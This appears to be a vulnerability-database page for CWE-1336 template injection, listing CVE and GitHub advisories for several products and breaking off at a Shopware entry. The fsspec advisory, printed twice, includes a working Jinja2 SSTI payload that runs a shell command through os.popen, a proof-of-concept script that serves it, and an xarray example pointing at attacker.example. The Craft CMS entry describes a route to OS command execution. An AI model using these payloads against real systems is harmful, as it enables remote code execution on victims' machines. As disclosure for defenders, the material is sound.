Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

461 vulnerabilities reference this CWE, most recent first.

CVE-2022-4993 (GCVE-0-2022-4993)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:27 – Updated: 2026-09-08 20:07
VLAI
Title
HTML::FormHandler versions before 0.410000 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template
Summary
HTML::FormHandler versions before 0.410000 for Perl allow attacker selected method dispatch and resource exhaustion because _apply_actions and add_error use error message text built from request data as a Locale::Maketext bracket notation template. add_error hands its first argument to the language handle as the Locale::Maketext message key, and the default handle's lexicon sets `_AUTO`, so a string that is not a lexicon entry is compiled as a bracket notation template instead of being looked up. In a bracket group the first token names a method called on the language handle and the remaining tokens are its arguments. Three kinds of text the library did not author reach that position. _apply_actions installs a `$SIG{__WARN__}` handler that stores the warning text in `$error_message`, and a captured warning survives a successful action, so a field carrying a numeric transform turns `Argument "[sprintf,%50000000d,0]" isn't numeric` into the template; a warning quotes the submitted value verbatim, so the group is well formed and dispatches. `$error_message ||= $tobj->validate($new_value)` takes a type constraint's own failure message, which renders the rejected value through a partial dumper in bracket and comma form (Devel::PartialDump when Moose can load it, Type::Tiny's own dumper always), so a field with `apply => [ Str ]` given a parameter sent more than once, which arrives as an array, gets `Reference ["a","b"] did not pass type constraint "Str"` as its template, from a request that carries no bracket character of its own. A coercion or transform exception reaches it the same way. Beyond those, a validator whose message contains the field value puts that value in the template directly, and add_error replaces the message list with the contents of an arrayref first argument (`@message = @{$message[0]} if ref $message[0] eq 'ARRAY'`), so a value arriving as an array fills the argument slots from the same request as well. A malformed group such as `[0]` makes the compile croak, and HTML::FormHandler::I18N::maketext and add_error each re-raise that as a die, so process() throws. A well formed group naming sprintf reaches CORE::sprintf with an attacker chosen field width. Any caller that applies a type constraint or a transform to an untrusted field, or whose validator passes an untrusted field value to add_error, can be made to throw an unhandled exception out of process(), or to allocate an arbitrary amount of memory in one request, and an application whose language handle subclass defines side effecting public methods makes those callable with attacker chosen arguments. The dumped type constraint message is bounded to the exception, because both dumpers quote non-numeric elements so the method slot is never an attacker chosen name. The built-in messages pass fixed templates with the value in an argument slot, where it stays inert, and the built-in field types attach explicit message callbacks, so neither is affected.
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
SSVC
Exploitation: none Automatable: yes Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 11:14 UTC
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
  • CWE-470 - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Assigner
CPANSec CNA under the redhat root
CNA scorecard C 64/100 over 265 records in the last 180 days details
References
Impacted products
Vendor Product Version
Affected: 0 , < 0.410000 (custom)
Show details on NVD website
To clipboard 

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CVE-2022-0944 (GCVE-0-2022-0944)

Vulnerability from cvelistv5 – Published: 2022-03-15 01:00 – Updated: 2024-08-02 23:47
VLAI
Title
Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad
Summary
Template injection in connection test endpoint leads to RCE in GitHub repository sqlpad/sqlpad prior to 6.10.1.
Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
@huntrdev CNA
CNA scorecard – unranked: 0 records in the last 180 days, 10 needed details
References
Impacted products
Vendor Product Version
sqlpad sqlpad/sqlpad Affected: unspecified , < 6.10.1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2022-0896 (GCVE-0-2022-0896)

Vulnerability from cvelistv5 – Published: 2022-03-09 11:20 – Updated: 2024-08-02 23:47
VLAI
Title
Improper Neutralization of Special Elements Used in a Template Engine in microweber/microweber
Summary
Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository microweber/microweber prior to 1.3.
Severity
7.1 (High)
CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
@huntrdev CNA
CNA scorecard – unranked: 0 records in the last 180 days, 10 needed details
References
Impacted products
Vendor Product Version
microweber microweber/microweber Affected: unspecified , < 1.3 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2022-0323 (GCVE-0-2022-0323)

Vulnerability from cvelistv5 – Published: 2022-01-21 18:00 – Updated: 2024-08-02 23:25
VLAI
Title
Improper Neutralization of Special Elements Used in a Template Engine in bobthecow/mustache.php
Summary
Improper Neutralization of Special Elements Used in a Template Engine in Packagist mustache/mustache prior to 2.14.1.
Severity
5.3 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
@huntrdev CNA
CNA scorecard – unranked: 0 records in the last 180 days, 10 needed details
References
Impacted products
Vendor Product Version
bobthecow bobthecow/mustache.php Affected: unspecified , < 2.14.1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2021-39128 (GCVE-0-2021-39128)

Vulnerability from cvelistv5 – Published: 2021-09-16 05:20 – Updated: 2024-10-10 16:00
VLAI
Summary
Affected versions of Atlassian Jira Server or Data Center using the Jira Service Management addon allow remote attackers with JIRA Administrators access to execute arbitrary Java code via a server-side template injection vulnerability in the Email Template feature. The affected versions of Jira Server or Data Center are before version 8.13.12, and from version 8.14.0 before 8.19.1.
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-10-10 15:57 UTC
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
atlassian CNA under the mitre root
CNA scorecard C 62/100 over 11 records in the last 180 days details
References
Impacted products
Vendor Product Version
Atlassian Jira Server Affected: unspecified , < 8.13.12 (custom)
Affected: 8.14.0 , < unspecified (custom)
Affected: unspecified , < 8.19.1 (custom)
Create a notification for this product.
Atlassian Jira Data Center Affected: unspecified , < 8.13.12 (custom)
Affected: 8.14.0 , < unspecified (custom)
Affected: unspecified , < 8.19.1 (custom)
Create a notification for this product.
atlassian jira_data_center Affected: 0 , < 8.13.12 (custom)
Affected: 8.14.0 , < 8.19.1 (custom)
    cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
Create a notification for this product.
atlassian jira_server Affected: 0 , < 8.13.12 (custom)
Affected: 8.14.0 , < 8.19.1 (custom)
    cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
Create a notification for this product.
Date Public
2021-09-16 00:00
Show details on NVD website
To clipboard 

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CVE-2021-4315 (GCVE-0-2021-4315)

Vulnerability from cvelistv5 – Published: 2023-01-28 22:58 – Updated: 2024-08-03 17:23
VLAI
Title
NYUCCL psiTurk experiment.py special elements used in a template engine
Summary
A vulnerability has been found in NYUCCL psiTurk up to 3.2.0 and classified as critical. This vulnerability affects unknown code of the file psiturk/experiment.py. The manipulation of the argument mode leads to improper neutralization of special elements used in a template engine. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.1 is able to address this issue. The name of the patch is 47787e15cecd66f2aa87687bf852ae0194a4335f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-219676.
Severity
5.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CWE
  • CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine
Assigner
VulDB CNA under the mitre root
CNA scorecard B 82/100 over 3714 records in the last 180 days details
References
Impacted products
Vendor Product Version
NYUCCL psiTurk Affected: 3.0
Affected: 3.1
Affected: 3.2
Create a notification for this product.
Credits
VulDB GitHub Commit Analyzer
Show details on NVD website
To clipboard 

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            "url": "https://vuldb.com/?id.219676"
          },
          {
            "tags": [
              "signature",
              "permissions-required",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?ctiid.219676"
          },
          {
            "tags": [
              "exploit",
              "issue-tracking",
              "x_transferred"
            ],
            "url": "https://github.com/NYUCCL/psiTurk/pull/517"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/NYUCCL/psiTurk/commit/47787e15cecd66f2aa87687bf852ae0194a4335f"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/NYUCCL/psiTurk/releases/tag/v3.2.1"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "psiTurk",
          "vendor": "NYUCCL",
          "versions": [
            {
              "status": "affected",
              "version": "3.0"
            },
            {
              "status": "affected",
              "version": "3.1"
            },
            {
              "status": "affected",
              "version": "3.2"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability has been found in NYUCCL psiTurk up to 3.2.0 and classified as critical. This vulnerability affects unknown code of the file psiturk/experiment.py. The manipulation of the argument mode leads to improper neutralization of special elements used in a template engine. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.1 is able to address this issue. The name of the patch is 47787e15cecd66f2aa87687bf852ae0194a4335f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-219676."
        },
        {
          "lang": "de",
          "value": "In NYUCCL psiTurk bis 3.2.0 wurde eine kritische Schwachstelle gefunden. Das betrifft eine unbekannte Funktionalit\u00e4t der Datei psiturk/experiment.py. Mittels Manipulieren des Arguments mode mit unbekannten Daten kann eine improper neutralization of special elements used in a template engine-Schwachstelle ausgenutzt werden. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Ein Aktualisieren auf die Version 3.2.1 vermag dieses Problem zu l\u00f6sen. Der Patch wird als 47787e15cecd66f2aa87687bf852ae0194a4335f bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 5.2,
            "vectorString": "AV:A/AC:L/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1336",
              "description": "CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-20T13:50:31.040Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.219676"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.219676"
        },
        {
          "tags": [
            "exploit",
            "issue-tracking"
          ],
          "url": "https://github.com/NYUCCL/psiTurk/pull/517"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/NYUCCL/psiTurk/commit/47787e15cecd66f2aa87687bf852ae0194a4335f"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/NYUCCL/psiTurk/releases/tag/v3.2.1"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-27T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-01-27T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-27T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-02-23T18:25:25.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "NYUCCL psiTurk experiment.py special elements used in a template engine"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2021-4315",
    "datePublished": "2023-01-28T22:58:03.669Z",
    "dateReserved": "2023-01-27T22:39:05.635Z",
    "dateUpdated": "2024-08-03T17:23:10.546Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-24F9-R76V-62P8

Vulnerability from github – Published: 2026-09-17 00:31 – Updated: 2026-09-17 00:31
VLAI
Details

Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user's attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose (Yii's cookieValidationKey is derived from the same Craft securityKey used for signed request parameters). An authenticated, non-administrator user (Control Panel access is not required) can set the cookie via the license-shun endpoint and transplant the signed envelope into the redirect parameter; on a successful login, Craft validates the signature and renders the authenticated bytes as an unsandboxed Twig template, where Twig's map filter accepts a string callback and allows PHP system() to execute arbitrary operating-system commands as the web-server user. Exploitation requires an account using password authentication without active 2FA, the default request configuration, and availability of PHP system(). The issue is fixed in 4.18.6 and 5.10.13.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-92592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T22:18:30Z",
    "severity": "HIGH"
  },
  "details": "Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user\u0027s attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose (Yii\u0027s cookieValidationKey is derived from the same Craft securityKey used for signed request parameters). An authenticated, non-administrator user (Control Panel access is not required) can set the cookie via the license-shun endpoint and transplant the signed envelope into the redirect parameter; on a successful login, Craft validates the signature and renders the authenticated bytes as an unsandboxed Twig template, where Twig\u0027s map filter accepts a string callback and allows PHP system() to execute arbitrary operating-system commands as the web-server user. Exploitation requires an account using password authentication without active 2FA, the default request configuration, and availability of PHP system(). The issue is fixed in 4.18.6 and 5.10.13.",
  "id": "GHSA-24f9-r76v-62p8",
  "modified": "2026-09-17T00:31:26Z",
  "published": "2026-09-17T00:31:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-5r92-75j8-c534"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92592"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/craft-cms-before-4.18.6-remote-code-execution-via-signed-cookie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-27VJ-QCQG-25RC

Vulnerability from github – Published: 2026-10-05 22:53 – Updated: 2026-10-05 22:53
VLAI
Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fsspec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "2026.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:53:22Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
  "id": "GHSA-27vj-qcqg-25rc",
  "modified": "2026-10-05T22:53:22Z",
  "published": "2026-10-05T22:53:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fsspec/filesystem_spec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution"
}

GHSA-27WP-JVHW-V4XP

Vulnerability from github – Published: 2024-08-08 14:48 – Updated: 2024-08-08 17:00
VLAI
Summary
Shopware vulnerable to Server Side Template Injection in Twig using deprecation silence tag
Details

Impact

